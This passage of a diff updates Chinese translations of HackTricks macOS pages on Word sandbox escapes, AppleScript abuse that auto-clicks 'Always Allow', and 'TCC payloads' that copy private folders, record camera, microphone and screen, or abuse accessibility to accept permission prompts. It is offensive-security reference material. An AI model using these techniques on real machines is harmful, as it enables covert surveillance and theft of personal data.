然而,之前的技术有一个限制,如果 **`~/Library/LaunchAgents`** 文件夹存在,因为其他软件创建了它,则会失败。因此,发现了一个不同的登录项链。
|
||||
|
||||
攻击者可以创建 **`.bash_profile`** 和 **`.zshenv`** 文件,包含要执行的有效载荷,然后将它们压缩并 **写入受害者** 的用户文件夹:**`~/~$escape.zip`**。
|
||||
|
||||
然后,将 zip 文件添加到 **登录项**,然后是 **`Terminal`** 应用程序。当用户重新登录时,zip 文件将被解压到用户文件中,覆盖 **`.bash_profile`** 和 **`.zshenv`**,因此,终端将执行其中一个文件(取决于使用的是 bash 还是 zsh)。
|
||||
|
||||
查看 [**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
|
||||
|
||||
### Word Sandbox 通过 Open 和 env 变量绕过
|
||||
|
||||
从沙箱进程中,仍然可以使用 **`open`** 工具调用其他进程。此外,这些进程将在 **自己的沙箱** 中运行。
|
||||
|
||||
发现 open 工具具有 **`--env`** 选项,可以使用 **特定的 env** 变量运行应用程序。因此,可以在 **沙箱内** 的文件夹中创建 **`.zshenv` 文件**,并使用 `open` 和 `--env` 将 **`HOME` 变量** 设置为该文件夹,打开 `Terminal` 应用程序,这将执行 `.zshenv` 文件(出于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。
|
||||
|
||||
查看 [**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
|
||||
|
||||
### Word Sandbox 通过 Open 和 stdin 绕过
|
||||
|
||||
**`open`** 工具还支持 **`--stdin`** 参数(在之前的绕过后,无法再使用 `--env`)。
|
||||
|
||||
问题是,即使 **`python`** 是由 Apple 签名的,它也 **不会执行** 带有 **`quarantine`** 属性的脚本。然而,可以通过 stdin 传递脚本,这样就不会检查它是否被隔离:
|
||||
|
||||
1. 放置一个 **`~$exploit.py`** 文件,包含任意 Python 命令。
|
||||
2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为标准输入运行 Python 应用程序。Python 高兴地运行我们的代码,并且由于它是 _launchd_ 的子进程,因此不受 Word 沙箱规则的限制。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# macOS苹果脚本
|
||||
# macOS Apple Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 苹果脚本
|
||||
## Apple Scripts
|
||||
|
||||
这是一种用于任务自动化的脚本语言,**与远程进程进行交互**。它可以很容易地**要求其他进程执行某些操作**。**恶意软件**可能会滥用这些功能来滥用其他进程导出的功能。\
|
||||
例如,恶意软件可以**在打开的浏览器页面中注入任意JS代码**。或者**自动点击**用户请求的权限允许。
|
||||
这是一种用于任务自动化的脚本语言,**与远程进程交互**。它使得**请求其他进程执行某些操作**变得相当简单。**恶意软件**可能会滥用这些功能,以利用其他进程导出的功能。\
|
||||
例如,恶意软件可以**在浏览器打开的页面中注入任意的JS代码**。或者**自动点击**用户请求的某些允许权限;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
以下是一些示例:[https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
查找有关使用AppleScripts的恶意软件的更多信息[**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
|
||||
这里有一些示例: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
有关使用苹果脚本的恶意软件的更多信息 [**在这里**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)。
|
||||
|
||||
Apple脚本可能很容易被“**编译**”。这些版本可以很容易地通过`osadecompile`进行“**反编译**”。
|
||||
苹果脚本可以很容易地 "**编译**"。这些版本可以通过 `osadecompile` 很容易地 "**反编译**"。
|
||||
|
||||
然而,这些脚本也可以被导出为“只读”(通过“导出...”选项):
|
||||
然而,这些脚本也可以 **导出为“只读”**(通过“导出...”选项):
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
|
@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled
|
|||
```
|
||||
在这种情况下,即使使用 `osadecompile` 也无法反编译内容。
|
||||
|
||||
然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读此研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 与 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有用,以了解脚本的工作原理。
|
||||
然而,仍然有一些工具可以用来理解这种可执行文件,[**阅读这项研究以获取更多信息**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)。工具 [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 和 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 将非常有助于理解脚本的工作原理。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来 **分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# macOS TCC 负载
|
||||
# macOS TCC Payloads
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 桌面
|
||||
|
||||
* **授权**: 无
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
* **权限**:无
|
||||
* **TCC**:kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
|
@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/Desktop`复制到`/tmp/desktop`。
|
||||
将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -70,7 +71,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
将`$HOME/Documents`复制到`/tmp/documents`。
|
||||
将 `$HOME/Documents` 复制到 `/tmp/documents`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -105,7 +106,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/`Documents复制到`/tmp/documents`。
|
||||
将 `$HOME/`Documents 复制到 `/tmp/documents`。
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -119,7 +120,7 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
将`$HOME/Downloads`复制到`/tmp/downloads`。
|
||||
将 `$HOME/Downloads` 复制到 `/tmp/downloads`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -154,7 +155,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/Dowloads`复制到`/tmp/downloads`。
|
||||
将 `$HOME/Dowloads` 复制到 `/tmp/downloads`。
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
|
@ -168,7 +169,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
|
||||
将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
|
||||
将 `$HOME/Pictures/Photos Library.photoslibrary` 复制到 `/tmp/photos`。
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -217,7 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
|
||||
将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
|
||||
将 `$HOME/Library/Application Support/AddressBook` 复制到 `/tmp/contacts`。
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -266,7 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
|
||||
将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
|
||||
将 `$HOME/Library/Calendars` 复制到 `/tmp/calendars`。
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
|
@ -314,8 +315,8 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
|||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - Record" %}
|
||||
录制一个3秒的视频并保存在 **`/tmp/recording.mov`** 中
|
||||
{% tab title="ObjetiveC - 录制" %}
|
||||
录制一个3秒的视频并保存到 **`/tmp/recording.mov`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -394,8 +395,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - 检查" %}
|
||||
检查程序是否具有访问摄像头的权限。
|
||||
{% endtab %}
|
||||
检查程序是否有权访问相机。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
使用相机拍照
|
||||
用相机拍照
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
|
@ -441,8 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Record" %}
|
||||
录制5秒音频并将其存储在 `/tmp/recording.m4a` 中
|
||||
{% tab title="ObjetiveC - 录音" %}
|
||||
录制5秒音频并将其存储在`/tmp/recording.m4a`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -542,8 +542,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - 检查" %}
|
||||
检查应用程序是否具有对麦克风的访问权限。
|
||||
{% endtab %}
|
||||
检查应用程序是否有权访问麦克风。
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -574,25 +573,28 @@ static void telegram(int argc, const char **argv) {
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
录制一段5秒的音频并将其存储在 `/tmp/recording.wav` 中。
|
||||
录制5秒音频并将其存储在`/tmp/recording.wav`
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
# Use microphone from index 1 from the previous list to record
|
||||
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### 位置
|
||||
|
||||
{% hint style="success" %}
|
||||
要获取位置信息,必须启用**位置服务**(来自隐私与安全),否则应用程序将无法访问位置信息。
|
||||
要让应用获取位置,**位置服务**(来自隐私与安全)**必须启用,** 否则将无法访问。
|
||||
{% endhint %}
|
||||
|
||||
* **授权**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: 已授予在 `/var/db/locationd/clients.plist` 中
|
||||
* **权限**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: 在 `/var/db/locationd/clients.plist` 中授予
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
将位置信息写入 `/tmp/logs.txt`
|
||||
将位置写入 `/tmp/logs.txt`
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -642,7 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
获取访问位置权限
|
||||
获取位置访问权限
|
||||
```
|
||||
???
|
||||
```
|
||||
|
@ -656,7 +658,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
在 `/tmp/screen.mov` 中录制主屏幕 5 秒。
|
||||
在`/tmp/screen.mov`中录制主屏幕5秒
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -714,15 +716,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tab title="Shell" %}
|
||||
记录主屏幕5秒钟
|
||||
{% endtab %}
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
### 辅助功能
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
- **权限**: 无
|
||||
- **TCC**: `kTCCServiceAccessibility`
|
||||
### 可访问性
|
||||
|
||||
使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式
|
||||
* **权限**: 无
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
使用 TCC 权限接受 Finder 的控制,按下回车并以此绕过 TCC
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="接受 TCC" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -775,9 +784,8 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="键盘记录器" %}
|
||||
将按键存储在 **`/tmp/keystrokes.txt`** 文件中
|
||||
{% endtab %}
|
||||
{% tab title="Keylogger" %}
|
||||
将按下的键存储在 **`/tmp/keystrokes.txt`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -885,19 +893,20 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**辅助功能是一个非常强大的权限**,您可以以其他方式滥用它,例如,您可以执行**按键攻击**,而无需调用系统事件。
|
||||
**无障碍功能是一个非常强大的权限**,你可以以其他方式滥用它,例如你可以仅通过它执行**击键攻击**,而无需调用系统事件。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
|
@ -58,3 +59,19 @@
|
|||
{% embed url="https://pentestlab.blog/" %}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
